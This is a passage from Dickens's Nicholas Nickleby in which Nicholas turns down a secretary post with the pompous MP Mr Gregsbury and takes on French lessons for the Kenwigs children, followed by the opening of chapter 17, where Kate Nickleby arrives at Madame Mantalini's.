on the books, she +made the usual acknowledgment, and glided away. + +She was neatly, but very quietly attired; so much so, indeed, that +it seemed as though her dress, if it had been worn by one who +imparted fewer graces of her own to it, might have looked poor and +shabby. Her attendant--for she had one--was a red-faced, round- +eyed, slovenly girl, who, from a certain roughness about the bare +arms that peeped from under her draggled shawl, and the half-washed- +out traces of smut and blacklead which tattooed her countenance, was +clearly of a kin with the servants-of-all-work on the form: between +whom and herself there had passed various grins and glances, +indicative of the freemasonry of the craft. + +This girl followed her mistress; and, before Nicholas had recovered +from the first effects of his surprise and admiration, the young +lady was gone. It is not a matter of such complete and utter +improbability as some sober people may think, that he would have +followed them out, had he not been restrained by what passed between +the fat lady and her book-keeper. + +'When is she coming again, Tom?' asked the fat lady. + +'Tomorrow morning,' replied Tom, mending his pen. + +'Where have you sent her to?' asked the fat lady. + +'Mrs Clark's,' replied Tom. + +'She'll have a nice life of it, if she goes there,' observed the fat +lady, taking a pinch of snuff from a tin box. + +Tom made no other reply than thrusting his tongue into his cheek, +and pointing the feather of his pen towards Nicholas--reminders +which elicited from the fat lady an inquiry, of 'Now, sir, what can +we do for YOU?' + +Nicholas briefly replied, that he wanted to know whether there was +any such post to be had, as secretary or amanuensis to a gentleman. + +'Any such!' rejoined the mistress; 'a-dozen-such. An't there, Tom?' + +'I should think so,' answered that young gentleman; and as he said +it, he winked towards Nicholas, with a degree of familiarity which +he, no doubt, intended for a rather flattering compliment, but with +which Nicholas was most ungratefully disgusted. + +Upon reference to the book, it appeared that the dozen secretaryships +had dwindled down to one. Mr Gregsbury, the great member of +parliament, of Manchester Buildings, Westminster, wanted a +young man, to keep his papers and correspondence in order; and +Nicholas was exactly the sort of young man that Mr Gregsbury wanted. + +'I don't know what the terms are, as he said he'd settle them +himself with the party,' observed the fat lady; 'but they must be +pretty good ones, because he's a member of parliament.' + +Inexperienced as he was, Nicholas did not feel quite assured of the +force of this reasoning, or the justice of this conclusion; but +without troubling himself to question it, he took down the address, +and resolved to wait upon Mr Gregsbury without delay. + +'I don't know what the number is,' said Tom; 'but Manchester +Buildings isn't a large place; and if the worst comes to the worst +it won't take you very long to knock at all the doors on both sides +of the way till you find him out. I say, what a good-looking gal +that was, wasn't she?' + +'What girl?' demanded Nicholas, sternly. + +'Oh yes. I know--what gal, eh?' whispered Tom, shutting one eye, +and cocking his chin in the air. 'You didn't see her, you didn't--I +say, don't you wish you was me, when she comes tomorrow morning?' + +Nicholas looked at the ugly clerk, as if he had a mind to reward his +admiration of the young lady by beating the ledger about his ears, +but he refrained, and strode haughtily out of the office; setting at +defiance, in his indignation, those ancient laws of chivalry, which +not only made it proper and lawful for all good knights to hear the +praise of the ladies to whom they were devoted, but rendered it +incumbent upon them to roam about the world, and knock at head all +such matter-of-fact and un-poetical characters, as declined to +exalt, above all the earth, damsels whom they had never chanced to +look upon or hear of--as if that were any excuse! + +Thinking no longer of his own misfortunes, but wondering what could +be those of the beautiful girl he had seen, Nicholas, with many +wrong turns, and many inquiries, and almost as many misdirections, +bent his steps towards the place whither he had been directed. + +Within the precincts of the ancient city of Westminster, and within +half a quarter of a mile of its ancient sanctuary, is a narrow and +dirty region, the sanctuary of the smaller members of Parliament in +modern days. It is all comprised in one street of gloomy lodging- +houses, from whose windows, in vacation-time, there frown long +melancholy rows of bills, which say, as plainly as did the +countenances of their occupiers, ranged on ministerial and +opposition benches in the session which slumbers with its fathers, +'To Let', 'To Let'. In busier periods of the year these bills +disappear, and the houses swarm with legislators. There are +legislators in the parlours, in the first floor, in the second, in +the third, in the garrets; the small apartments reek with the breath +of deputations and delegates. In damp weather, the place is +rendered close, by the steams of moist acts of parliament and frouzy +petitions; general postmen grow faint as they enter its infected +limits, and shabby figures in quest of franks, flit restlessly to +and fro like the troubled ghosts of Complete Letter-writers +departed. This is Manchester Buildings; and here, at all hours of +the night, may be heard the rattling of latch-keys in their +respective keyholes: with now and then--when a gust of wind sweeping +across the water which washes the Buildings' feet, impels the sound +towards its entrance--the weak, shrill voice of some young member +practising tomorrow's speech. All the livelong day, there is a +grinding of organs and clashing and clanging of little boxes of +music; for Manchester Buildings is an eel-pot, which has no outlet +but its awkward mouth--a case-bottle which has no thoroughfare, and +a short and narrow neck--and in this respect it may be typical of +the fate of some few among its more adventurous residents, who, +after wriggling themselves into Parliament by violent efforts and +contortions, find that it, too, is no thoroughfare for them; that, +like Manchester Buildings, it leads to nothing beyond itself; and +that they are fain at last to back out, no wiser, no richer, not one +whit more famous, than they went in. + +Into Manchester Buildings Nicholas turned, with the address of the +great Mr Gregsbury in his hand. As there was a stream of people +pouring into a shabby house not far from the entrance, he waited +until they had made their way in, and then making up to the servant, +ventured to inquire if he knew where Mr Gregsbury lived. + +The servant was a very pale, shabby boy, who looked as if he had +slept underground from his infancy, as very likely he had. 'Mr +Gregsbury?' said he; 'Mr Gregsbury lodges here. It's all right. +Come in!' + +Nicholas thought he might as well get in while he could, so in he +walked; and he had no sooner done so, than the boy shut the door, +and made off. + +This was odd enough: but what was more embarrassing was, that all +along the passage, and all along the narrow stairs, blocking up the +window, and making the dark entry darker still, was a confused crowd +of persons with great importance depicted in their looks; who were, +to all appearance, waiting in silent expectation of some coming +event. From time to time, one man would whisper his neighbour, or a +little group would whisper together, and then the whisperers would +nod fiercely to each other, or give their heads a relentless shake, +as if they were bent upon doing something very desperate, and were +determined not to be put off, whatever happened. + +As a few minutes elapsed without anything occurring to explain this +phenomenon, and as he felt his own position a peculiarly +uncomfortable one, Nicholas was on the point of seeking some +information from the man next him, when a sudden move was visible on +the stairs, and a voice was heard to cry, 'Now, gentleman, have the +goodness to walk up!' + +So far from walking up, the gentlemen on the stairs began to walk +down with great alacrity, and to entreat, with extraordinary +politeness, that the gentlemen nearest the street would go first; +the gentlemen nearest the street retorted, with equal courtesy, that +they couldn't think of such a thing on any account; but they did it, +without thinking of it, inasmuch as the other gentlemen pressing +some half-dozen (among whom was Nicholas) forward, and closing up +behind, pushed them, not merely up the stairs, but into the very +sitting-room of Mr Gregsbury, which they were thus compelled to +enter with most unseemly precipitation, and without the means of +retreat; the press behind them, more than filling the apartment. + +'Gentlemen,' said Mr Gregsbury, 'you are welcome. I am rejoiced to +see you.' + +For a gentleman who was rejoiced to see a body of visitors, Mr +Gregsbury looked as uncomfortable as might be; but perhaps this was +occasioned by senatorial gravity, and a statesmanlike habit of +keeping his feelings under control. He was a tough, burly, thick- +headed gentleman, with a loud voice, a pompous manner, a tolerable +command of sentences with no meaning in them, and, in short, every +requisite for a very good member indeed. + +'Now, gentlemen,' said Mr Gregsbury, tossing a great bundle of +papers into a wicker basket at his feet, and throwing himself back +in his chair with his arms over the elbows, 'you are dissatisfied +with my conduct, I see by the newspapers.' + +'Yes, Mr Gregsbury, we are,' said a plump old gentleman in a violent +heat, bursting out of the throng, and planting himself in the front. + +'Do my eyes deceive me,' said Mr Gregsbury, looking towards the +speaker, 'or is that my old friend Pugstyles?' + +'I am that man, and no other, sir,' replied the plump old gentleman. + +'Give me your hand, my worthy friend,' said Mr Gregsbury. +'Pugstyles, my dear friend, I am very sorry to see you here.' + +'I am very sorry to be here, sir,' said Mr Pugstyles; 'but your +conduct, Mr Gregsbury, has rendered this deputation from your +constituents imperatively necessary.' + +'My conduct, Pugstyles,' said Mr Gregsbury, looking round upon the +deputation with gracious magnanimity--'my conduct has been, and ever +will be, regulated by a sincere regard for the true and real +interests of this great and happy country. Whether I look at home, +or abroad; whether I behold the peaceful industrious communities of +our island home: her rivers covered with steamboats, her roads with +locomotives, her streets with cabs, her skies with balloons of a +power and magnitude hitherto unknown in the history of aeronautics +in this or any other nation--I say, whether I look merely at home, +or, stretching my eyes farther, contemplate the boundless prospect +of conquest and possession--achieved by British perseverance and +British valour--which is outspread before me, I clasp my hands, and +turning my eyes to the broad expanse above my head, exclaim, "Thank +Heaven, I am a Briton!"' + +The time had been, when this burst of enthusiasm would have been +cheered to the very echo; but now, the deputation received it with +chilling coldness. The general impression seemed to be, that as an +explanation of Mr Gregsbury's political conduct, it did not enter +quite enough into detail; and one gentleman in the rear did not +scruple to remark aloud, that, for his purpose, it savoured rather +too much of a 'gammon' tendency. + +'The meaning of that term--gammon,' said Mr Gregsbury, 'is unknown +to me. If it means that I grow a little too fervid, or perhaps even +hyperbolical, in extolling my native land, I admit the full justice +of the remark. I AM proud of this free and happy country. My form +dilates, my eye glistens, my breast heaves, my heart swells, my +bosom burns, when I call to mind her greatness and her glory.' + +'We wish, sir,' remarked Mr Pugstyles, calmly, 'to ask you a few +questions.' + +'If you please, gentlemen; my time is yours--and my country's--and +my country's--' said Mr Gregsbury. + +This permission being conceded, Mr Pugstyles put on his spectacles, +and referred to a written paper which he drew from his pocket; +whereupon nearly every other member of the deputation pulled a +written paper from HIS pocket, to check Mr Pugstyles off, as he read +the questions. + +This done, Mr Pugstyles proceeded to business. + +'Question number one.--Whether, sir, you did not give a voluntary +pledge previous to your election, that in event of your being +returned, you would immediately put down the practice of coughing +and groaning in the House of Commons. And whether you did not +submit to be coughed and groaned down in the very first debate of +the session, and have since made no effort to effect a reform in +this respect? Whether you did not also pledge yourself to astonish +the government, and make them shrink in their shoes? And whether +you have astonished them, and made them shrink in their shoes, or +not?' + +'Go on to the next one, my dear Pugstyles,' said Mr Gregsbury. + +'Have you any explanation to offer with reference to that question, +sir?' asked Mr Pugstyles. + +'Certainly not,' said Mr Gregsbury. + +The members of the deputation looked fiercely at each other, and +afterwards at the member. 'Dear Pugstyles' having taken a very long +stare at Mr Gregsbury over the tops of his spectacles, resumed his +list of inquiries. + +'Question number two.--Whether, sir, you did not likewise give a +voluntary pledge that you would support your colleague on every +occasion; and whether you did not, the night before last, desert him +and vote upon the other side, because the wife of a leader on that +other side had invited Mrs Gregsbury to an evening party?' + +'Go on,' said Mr Gregsbury. + +'Nothing to say on that, either, sir?' asked the spokesman. + +'Nothing whatever,' replied Mr Gregsbury. The deputation, who had +only seen him at canvassing or election time, were struck dumb by +his coolness. He didn't appear like the same man; then he was all +milk and honey; now he was all starch and vinegar. But men ARE so +different at different times! + +'Question number three--and last,' said Mr Pugstyles, emphatically. +'Whether, sir, you did not state upon the hustings, that it was your +firm and determined intention to oppose everything proposed; to +divide the house upon every question, to move for returns on every +subject, to place a motion on the books every day, and, in short, in +your own memorable words, to play the very devil with everything and +everybody?' With this comprehensive inquiry, Mr Pugstyles folded up +his list of questions, as did all his backers. + +Mr Gregsbury reflected, blew his nose, threw himself further back in +his chair, came forward again, leaning his elbows on the table, made +a triangle with his two thumbs and his two forefingers, and tapping +his nose with the apex thereof, replied (smiling as he said it), 'I +deny everything.' + +At this unexpected answer, a hoarse murmur arose from the +deputation; and the same gentleman who had expressed an opinion +relative to the gammoning nature of the introductory speech, again +made a monosyllabic demonstration, by growling out 'Resign!' Which +growl being taken up by his fellows, swelled into a very earnest and +general remonstrance. + +'I am requested, sir, to express a hope,' said Mr Pugstyles, with a +distant bow, 'that on receiving a requisition to that effect from a +great majority of your constituents, you will not object at once to +resign your seat in favour of some candidate whom they think they +can better trust.' + +To this, Mr Gregsbury read the following reply, which, anticipating +the request, he had composed in the form of a letter, whereof copies +had been made to send round to the newspapers. + +'MY DEAR MR PUGSTYLES, + +'Next to the welfare of our beloved island--this great and free +and happy country, whose powers and resources are, I sincerely +believe, illimitable--I value that noble independence which is +an Englishman's proudest boast, and which I fondly hope to bequeath +to my children, untarnished and unsullied. Actuated by no personal +motives, but moved only by high and great constitutional +considerations; which I will not attempt to explain, for they are +really beneath the comprehension of those who have not made +themselves masters, as I have, of the intricate and arduous +study of politics; I would rather keep my seat, and intend doing so. + +'Will you do me the favour to present my compliments to the +constituent body, and acquaint them with this circumstance? + +'With great esteem, +'My dear Mr Pugstyles, +'&c.&c.' + +'Then you will not resign, under any circumstances?' asked the +spokesman. + +Mr Gregsbury smiled, and shook his head. + +'Then, good-morning, sir,' said Pugstyles, angrily. + +'Heaven bless you!' said Mr Gregsbury. And the deputation, with +many growls and scowls, filed off as quickly as the narrowness of +the staircase would allow of their getting down. + +The last man being gone, Mr Gregsbury rubbed his hands and chuckled, +as merry fellows will, when they think they have said or done a more +than commonly good thing; he was so engrossed in this self- +congratulation, that he did not observe that Nicholas had been left +behind in the shadow of the window-curtains, until that young +gentleman, fearing he might otherwise overhear some soliloquy +intended to have no listeners, coughed twice or thrice, to attract +the member's notice. + +'What's that?' said Mr Gregsbury, in sharp accents. + +Nicholas stepped forward, and bowed. + +'What do you do here, sir?' asked Mr Gregsbury; 'a spy upon my +privacy! A concealed voter! You have heard my answer, sir. Pray +follow the deputation.' + +'I should have done so, if I had belonged to it, but I do not,' said +Nicholas. + +'Then how came you here, sir?' was the natural inquiry of Mr +Gregsbury, MP. 'And where the devil have you come from, sir?' was +the question which followed it. + +'I brought this card from the General Agency Office, sir,' said +Nicholas, 'wishing to offer myself as your secretary, and +understanding that you stood in need of one.' + +'That's all you have come for, is it?' said Mr Gregsbury, eyeing him +in some doubt. + +Nicholas replied in the affirmative. + +'You have no connection with any of those rascally papers have you?' +said Mr Gregsbury. 'You didn't get into the room, to hear what was +going forward, and put it in print, eh?' + +'I have no connection, I am sorry to say, with anything at present,' +rejoined Nicholas,--politely enough, but quite at his ease. + +'Oh!' said Mr Gregsbury. 'How did you find your way up here, then?' + +Nicholas related how he had been forced up by the deputation. + +'That was the way, was it?' said Mr Gregsbury. 'Sit down.' + +Nicholas took a chair, and Mr Gregsbury stared at him for a long +time, as if to make certain, before he asked any further questions, +that there were no objections to his outward appearance. + +'You want to be my secretary, do you?' he said at length. + +'I wish to be employed in that capacity, sir,' replied Nicholas. + +'Well,' said Mr Gregsbury; 'now what can you do?' + +'I suppose,' replied Nicholas, smiling, 'that I can do what usually +falls to the lot of other secretaries.' + +'What's that?' inquired Mr Gregsbury. + +'What is it?' replied Nicholas. + +'Ah! What is it?' retorted the member, looking shrewdly at him, +with his head on one side. + +'A secretary's duties are rather difficult to define, perhaps,' said +Nicholas, considering. 'They include, I presume, correspondence?' + +'Good,' interposed Mr Gregsbury. + +'The arrangement of papers and documents?' + +'Very good.' + +'Occasionally, perhaps, the writing from your dictation; and +possibly, sir,' said Nicholas, with a half-smile, 'the copying of +your speech for some public journal, when you have made one of more +than usual importance.' + +'Certainly,' rejoined Mr Gregsbury. 'What else?' + +'Really,' said Nicholas, after a moment's reflection, 'I am not +able, at this instant, to recapitulate any other duty of a +secretary, beyond the general one of making himself as agreeable and +useful to his employer as he can, consistently with his own +respectability, and without overstepping that line of duties which +he undertakes to perform, and which the designation of his office is +usually understood to imply.' + +Mr Gregsbury looked fixedly at Nicholas for a short time, and then +glancing warily round the room, said in a suppressed voice: + +'This is all very well, Mr--what is your name?' + +'Nickleby.' + +'This is all very well, Mr Nickleby, and very proper, so far as it +goes--so far as it goes, but it doesn't go far enough. There are +other duties, Mr Nickleby, which a secretary to a parliamentary +gentleman must never lose sight of. I should require to be crammed, +sir.' + +'I beg your pardon,' interposed Nicholas, doubtful whether he had +heard aright. + +'--To be crammed, sir,' repeated Mr Gregsbury. + +'May I beg your pardon again, if I inquire what you mean, sir?' said +Nicholas. + +'My meaning, sir, is perfectly plain,' replied Mr Gregsbury with a +solemn aspect. 'My secretary would have to make himself master of +the foreign policy of the world, as it is mirrored in the +newspapers; to run his eye over all accounts of public meetings, all +leading articles, and accounts of the proceedings of public bodies; +and to make notes of anything which it appeared to him might be made +a point of, in any little speech upon the question of some petition +lying on the table, or anything of that kind. Do you understand?' + +'I think I do, sir,' replied Nicholas. + +'Then,' said Mr Gregsbury, 'it would be necessary for him to make +himself acquainted, from day to day, with newspaper paragraphs on +passing events; such as "Mysterious disappearance, and supposed +suicide of a potboy," or anything of that sort, upon which I might +found a question to the Secretary of State for the Home Department. +Then, he would have to copy the question, and as much as I +remembered of the answer (including a little compliment about +independence and good sense); and to send the manuscript in a frank +to the local paper, with perhaps half-a-dozen lines of leader, to +the effect, that I was always to be found in my place in parliament, +and never shrunk from the responsible and arduous duties, and so +forth. You see?' + +Nicholas bowed. + +'Besides which,' continued Mr Gregsbury, 'I should expect him, now +and then, to go through a few figures in the printed tables, and to +pick out a few results, so that I might come out pretty well on +timber duty questions, and finance questions, and so on; and I +should like him to get up a few little arguments about the +disastrous effects of a return to cash payments and a metallic +currency, with a touch now and then about the exportation of +bullion, and the Emperor of Russia, and bank notes, and all that +kind of thing, which it's only necessary to talk fluently about, +because nobody understands it. Do you take me?' + +'I think I understand,' said Nicholas. + +'With regard to such questions as are not political,' continued Mr +Gregsbury, warming; 'and which one can't be expected to care a curse +about, beyond the natural care of not allowing inferior people to be +as well off as ourselves--else where are our privileges?--I should +wish my secretary to get together a few little flourishing speeches, +of a patriotic cast. For instance, if any preposterous bill were +brought forward, for giving poor grubbing devils of authors a right +to their own property, I should like to say, that I for one would +never consent to opposing an insurmountable bar to the diffusion of +literature among THE PEOPLE,--you understand?--that the creations of +the pocket, being man's, might belong to one man, or one family; but +that the creations of the brain, being God's, ought as a matter of +course to belong to the people at large--and if I was pleasantly +disposed, I should like to make a joke about posterity, and say that +those who wrote for posterity should be content to be rewarded by +the approbation OF posterity; it might take with the house, and +could never do me any harm, because posterity can't be expected to +know anything about me or my jokes either--do you see?' + +'I see that, sir,' replied Nicholas. + +'You must always bear in mind, in such cases as this, where our +interests are not affected,' said Mr Gregsbury, 'to put it very +strong about the people, because it comes out very well at election- +time; and you could be as funny as you liked about the authors; +because I believe the greater part of them live in lodgings, and are +not voters. This is a hasty outline of the chief things you'd have +to do, except waiting in the lobby every night, in case I forgot +anything, and should want fresh cramming; and, now and then, during +great debates, sitting in the front row of the gallery, and saying +to the people about--'You see that gentleman, with his hand to his +face, and his arm twisted round the pillar--that's Mr Gregsbury--the +celebrated Mr Gregsbury,'--with any other little eulogium that might +strike you at the moment. And for salary,' said Mr Gregsbury, +winding up with great rapidity; for he was out of breath--'and for +salary, I don't mind saying at once in round numbers, to prevent any +dissatisfaction--though it's more than I've been accustomed to give +--fifteen shillings a week, and find yourself. There!' + +With this handsome offer, Mr Gregsbury once more threw himself back +in his chair, and looked like a man who had been most profligately +liberal, but is determined not to repent of it notwithstanding. + +'Fifteen shillings a week is not much,' said Nicholas, mildly. + +'Not much! Fifteen shillings a week not much, young man?' cried Mr +Gregsbury. 'Fifteen shillings a--' + +'Pray do not suppose that I quarrel with the sum, sir,' replied +Nicholas; 'for I am not ashamed to confess, that whatever it may be +in itself, to me it is a great deal. But the duties and +responsibilities make the recompense small, and they are so very +heavy that I fear to undertake them.' + +'Do you decline to undertake them, sir?' inquired Mr Gregsbury, with +his hand on the bell-rope. + +'I fear they are too great for my powers, however good my will may +be, sir,' replied Nicholas. + +'That is as much as to say that you had rather not accept the place, +and that you consider fifteen shillings a week too little,' said Mr +Gregsbury, ringing. 'Do you decline it, sir?' + +'I have no alternative but to do so,' replied Nicholas. + +'Door, Matthews!' said Mr Gregsbury, as the boy appeared. + +'I am sorry I have troubled you unnecessarily, sir,' said Nicholas, + +'I am sorry you have,' rejoined Mr Gregsbury, turning his back upon +him. 'Door, Matthews!' + +'Good-morning, sir,' said Nicholas. + +'Door, Matthews!' cried Mr Gregsbury. + +The boy beckoned Nicholas, and tumbling lazily downstairs before +him, opened the door, and ushered him into the street. With a sad +and pensive air, he retraced his steps homewards. + +Smike had scraped a meal together from the remnant of last night's +supper, and was anxiously awaiting his return. The occurrences of +the morning had not improved Nicholas's appetite, and, by him, the +dinner remained untasted. He was sitting in a thoughtful attitude, +with the plate which the poor fellow had assiduously filled with the +choicest morsels, untouched, by his side, when Newman Noggs looked +into the room. + +'Come back?' asked Newman. + +'Yes,' replied Nicholas, 'tired to death: and, what is worse, might +have remained at home for all the good I have done.' + +'Couldn't expect to do much in one morning,' said Newman. + +'Maybe so, but I am sanguine, and did expect,' said Nicholas, 'and +am proportionately disappointed.' Saying which, he gave Newman an +account of his proceedings. + +'If I could do anything,' said Nicholas, 'anything, however slight, +until Ralph Nickleby returns, and I have eased my mind by +confronting him, I should feel happier. I should think it no +disgrace to work, Heaven knows. Lying indolently here, like a half- +tamed sullen beast, distracts me.' + +'I don't know,' said Newman; 'small things offer--they would pay the +rent, and more--but you wouldn't like them; no, you could hardly be +expected to undergo it--no, no.' + +'What could I hardly be expected to undergo?' asked Nicholas, +raising his eyes. 'Show me, in this wide waste of London, any +honest means by which I could even defray the weekly hire of this +poor room, and see if I shrink from resorting to them! Undergo! I +have undergone too much, my friend, to feel pride or squeamishness +now. Except--' added Nicholas hastily, after a short silence, +'except such squeamishness as is common honesty, and so much pride +as constitutes self-respect. I see little to choose, between +assistant to a brutal pedagogue, and toad-eater to a mean and +ignorant upstart, be he member or no member.' + +'I hardly know whether I should tell you what I heard this morning, +or not,' said Newman. + +'Has it reference to what you said just now?' asked Nicholas. + +'It has.' + +'Then in Heaven's name, my good friend, tell it me,' said Nicholas. +'For God's sake consider my deplorable condition; and, while I +promise to take no step without taking counsel with you, give me, at +least, a vote in my own behalf.' + +Moved by this entreaty, Newman stammered forth a variety of most +unaccountable and entangled sentences, the upshot of which was, that +Mrs Kenwigs had examined him, at great length that morning, touching +the origin of his acquaintance with, and the whole life, adventures, +and pedigree of, Nicholas; that Newman had parried these questions +as long as he could, but being, at length, hard pressed and driven +into a corner, had gone so far as to admit, that Nicholas was a +tutor of great accomplishments, involved in some misfortunes which +he was not at liberty to explain, and bearing the name of Johnson. +That Mrs Kenwigs, impelled by gratitude, or ambition, or maternal +pride, or maternal love, or all four powerful motives conjointly, +had taken secret conference with Mr Kenwigs, and had finally +returned to propose that Mr Johnson should instruct the four Miss +Kenwigses in the French language as spoken by natives, at the weekly +stipend of five shillings, current coin of the realm; being at the +rate of one shilling per week, per each Miss Kenwigs, and one +shilling over, until such time as the baby might be able to take it +out in grammar. + +'Which, unless I am very much mistaken,' observed Mrs Kenwigs in +making the proposition, 'will not be very long; for such clever +children, Mr Noggs, never were born into this world, I do believe.' + +'There,' said Newman, 'that's all. It's beneath you, I know; but I +thought that perhaps you might--' + +'Might!' cried Nicholas, with great alacrity; 'of course I shall. I +accept the offer at once. Tell the worthy mother so, without delay, +my dear fellow; and that I am ready to begin whenever she pleases.' + +Newman hastened, with joyful steps, to inform Mrs Kenwigs of his +friend's acquiescence, and soon returning, brought back word that +they would be happy to see him in the first floor as soon as +convenient; that Mrs Kenwigs had, upon the instant, sent out to +secure a second-hand French grammar and dialogues, which had long +been fluttering in the sixpenny box at the bookstall round the +corner; and that the family, highly excited at the prospect of this +addition to their gentility, wished the initiatory lesson to come +off immediately. + +And here it may be observed, that Nicholas was not, in the ordinary +sense of the word, a young man of high spirit. He would resent an +affront to himself, or interpose to redress a wrong offered to +another, as boldly and freely as any knight that ever set lance in +rest; but he lacked that peculiar excess of coolness and great- +minded selfishness, which invariably distinguish gentlemen of high +spirit. In truth, for our own part, we are disposed to look upon +such gentleman as being rather incumbrances than otherwise in rising +families: happening to be acquainted with several whose spirit +prevents their settling down to any grovelling occupation, and only +displays itself in a tendency to cultivate moustachios, and look +fierce; and although moustachios and ferocity are both very pretty +things in their way, and very much to be commended, we confess to a +desire to see them bred at the owner's proper cost, rather than at +the expense of low-spirited people. + +Nicholas, therefore, not being a high-spirited young man according +to common parlance, and deeming it a greater degradation to borrow, +for the supply of his necessities, from Newman Noggs, than to teach +French to the little Kenwigses for five shillings a week, accepted +the offer with the alacrity already described, and betook himself to +the first floor with all convenient speed. + +Here, he was received by Mrs Kenwigs with a genteel air, kindly +intended to assure him of her protection and support; and here, too, +he found Mr Lillyvick and Miss Petowker; the four Miss Kenwigses on +their form of audience; and the baby in a dwarf porter's chair with +a deal tray before it, amusing himself with a toy horse without a +head; the said horse being composed of a small wooden cylinder, not +unlike an Italian iron, supported on four crooked pegs, and painted +in ingenious resemblance of red wafers set in blacking. + +'How do you do, Mr Johnson?' said Mrs Kenwigs. 'Uncle--Mr Johnson.' + +'How do you do, sir?' said Mr Lillyvick--rather sharply; for he had +not known what Nicholas was, on the previous night, and it was +rather an aggravating circumstance if a tax collector had been too +polite to a teacher. + +'Mr Johnson is engaged as private master to the children, uncle,' +said Mrs Kenwigs. + +'So you said just now, my dear,' replied Mr Lillyvick. + +'But I hope,' said Mrs Kenwigs, drawing herself up, 'that that will +not make them proud; but that they will bless their own good +fortune, which has born them superior to common people's children. +Do you hear, Morleena?' + +'Yes, ma,' replied Miss Kenwigs. + +'And when you go out in the streets, or elsewhere, I desire that you +don't boast of it to the other children,' said Mrs Kenwigs; 'and +that if you must say anything about it, you don't say no more than +"We've got a private master comes to teach us at home, but we ain't +proud, because ma says it's sinful." Do you hear, Morleena?' + +'Yes, ma,' replied Miss Kenwigs again. + +'Then mind you recollect, and do as I tell you,' said Mrs Kenwigs. +'Shall Mr Johnson begin, uncle?' + +'I am ready to hear, if Mr Johnson is ready to commence, my dear,' +said the collector, assuming the air of a profound critic. 'What +sort of language do you consider French, sir?' + +'How do you mean?' asked Nicholas. + +'Do you consider it a good language, sir?' said the collector; 'a +pretty language, a sensible language?' + +'A pretty language, certainly,' replied Nicholas; 'and as it has a +name for everything, and admits of elegant conversation about +everything, I presume it is a sensible one.' + +'I don't know,' said Mr Lillyvick, doubtfully. 'Do you call it a +cheerful language, now?' + +'Yes,' replied Nicholas, 'I should say it was, certainly.' + +'It's very much changed since my time, then,' said the collector, +'very much.' + +'Was it a dismal one in your time?' asked Nicholas, scarcely able to +repress a smile. + +'Very,' replied Mr Lillyvick, with some vehemence of manner. 'It's +the war time that I speak of; the last war. It may be a cheerful +language. I should be sorry to contradict anybody; but I can only +say that I've heard the French prisoners, who were natives, and +ought to know how to speak it, talking in such a dismal manner, that +it made one miserable to hear them. Ay, that I have, fifty times, +sir--fifty times!' + +Mr Lillyvick was waxing so cross, that Mrs Kenwigs thought it +expedient to motion to Nicholas not to say anything; and it was not +until Miss Petowker had practised several blandishments, to soften +the excellent old gentleman, that he deigned to break silence by +asking, + +'What's the water in French, sir?' + +'L'EAU,' replied Nicholas. + +'Ah!' said Mr Lillyvick, shaking his head mournfully, 'I thought as +much. Lo, eh? I don't think anything of that language--nothing at +all.' + +'I suppose the children may begin, uncle?' said Mrs Kenwigs. + +'Oh yes; they may begin, my dear,' replied the collector, +discontentedly. 'I have no wish to prevent them.' + +This permission being conceded, the four Miss Kenwigses sat in a +row, with their tails all one way, and Morleena at the top: while +Nicholas, taking the book, began his preliminary explanations. Miss +Petowker and Mrs Kenwigs looked on, in silent admiration, broken +only by the whispered assurances of the latter, that Morleena would +have it all by heart in no time; and Mr Lillyvick regarded the group +with frowning and attentive eyes, lying in wait for something upon +which he could open a fresh discussion on the language. + + + +CHAPTER 17 + +Follows the Fortunes of Miss Nickleby + + +It was with a heavy heart, and many sad forebodings which no effort +could banish, that Kate Nickleby, on the morning appointed for the +commencement of her engagement with Madame Mantalini, left the city +when its clocks yet wanted a quarter of an hour of eight, and +threaded her way alone, amid the noise and bustle of the streets, +towards the west end of London. + +At this early hour many sickly girls, whose business, like that of +the poor worm, is to produce, with patient toil, the finery that +bedecks the thoughtless and luxurious, traverse our streets, making +towards the scene of their daily labour, and catching, as if by +stealth, in their hurried walk, the only gasp of wholesome air and +glimpse of sunlight which cheer their monotonous existence during +the long train of hours that make a working day. As she drew nigh +to the more fashionable quarter of the town, Kate marked many of +this class as they passed by, hurrying like herself to their painful +occupation, and saw, in their unhealthy looks and feeble gait, but +too clear an evidence that her misgivings were not wholly groundless. + +She arrived at Madame Mantalini's some minutes before the appointed +hour, and after walking a few times up and down, in the hope that +some other female might arrive and spare her the embarrassment of +stating her business to the servant, knocked timidly at the door: +which, after some delay, was opened by the footman, who had been +putting on his striped jacket as he came upstairs, and was now +intent on fastening his apron. + +'Is Madame Mantalini in?' faltered Kate. + +'Not often out at this time, miss,' replied the man in a tone which +rendered "Miss," something more offensive than "My dear." + +'Can I see her?' asked Kate. + +'Eh?' replied the man, holding the door in his hand, and honouring +the inquirer with a stare and a broad grin, 'Lord, no.' + +'I came by her own appointment,' said Kate; 'I am--I am--to be +employed here.' + +'Oh! you should have rung the worker's bell,' said the footman, +touching the handle of one in the door-post. 'Let me see, though, I +forgot--Miss Nickleby, is it?' + +'Yes,' replied Kate. + +'You're to walk upstairs then, please,' said the man. 'Madame +Mantalini wants to see you--this way--take care of these things on +the floor.' + +Cautioning her, in these terms, not to trip over a heterogeneous +litter of pastry-cook's trays, lamps, waiters full of glasses, and +piles of rout seats which were strewn about the hall, plainly +bespeaking a late party on the previous night, the man led the way +to the second story, and ushered Kate into a back-room, +communicating by folding-doors with the apartment in which she had +first seen the mistress of the establishment. + +'If you'll wait here a minute,' said the man, 'I'll tell her +presently.' Having made this promise with much affability, he +retired and left Kate alone. + +There was not much to amuse in the room; of which the most +attractive feature was, a half-length portrait in oil, of Mr +Mantalini, whom the artist had depicted scratching his head in an +easy manner, and thus displaying to advantage a diamond ring, the +gift of Madame Mantalini before her marriage. There was, however, +the sound of voices in conversation in the next room; and as the +conversation was loud and the partition thin, Kate could not help +discovering that they belonged to Mr and Mrs Mantalini. + +'If you will be odiously, demnebly, outrIgeously jealous, my soul,' +said Mr Mantalini, 'you will be very miserable--horrid miserable-- +demnition miserable.' And then, there was a sound as though Mr +Mantalini were sipping his coffee. + +'I AM miserable,' returned Madame Mantalini, evidently pouting. + +'Then you are an ungrateful, unworthy, demd unthankful little +fairy,' said Mr Mantalini. + +'I am not,' returned Madame, with a sob. + +'Do not put itself out of humour,' said Mr Mantalini, breaking an +egg. 'It is a pretty, bewitching little demd countenance, and it +should not be out of humour, for it spoils its loveliness, and makes +it cross and gloomy like a frightful, naughty, demd hobgoblin.' + +'I am not to be brought round in that way, always,' rejoined Madame, +sulkily. + +'It shall be brought round in any way it likes best, and not brought +round at all if it likes that better,' retorted Mr 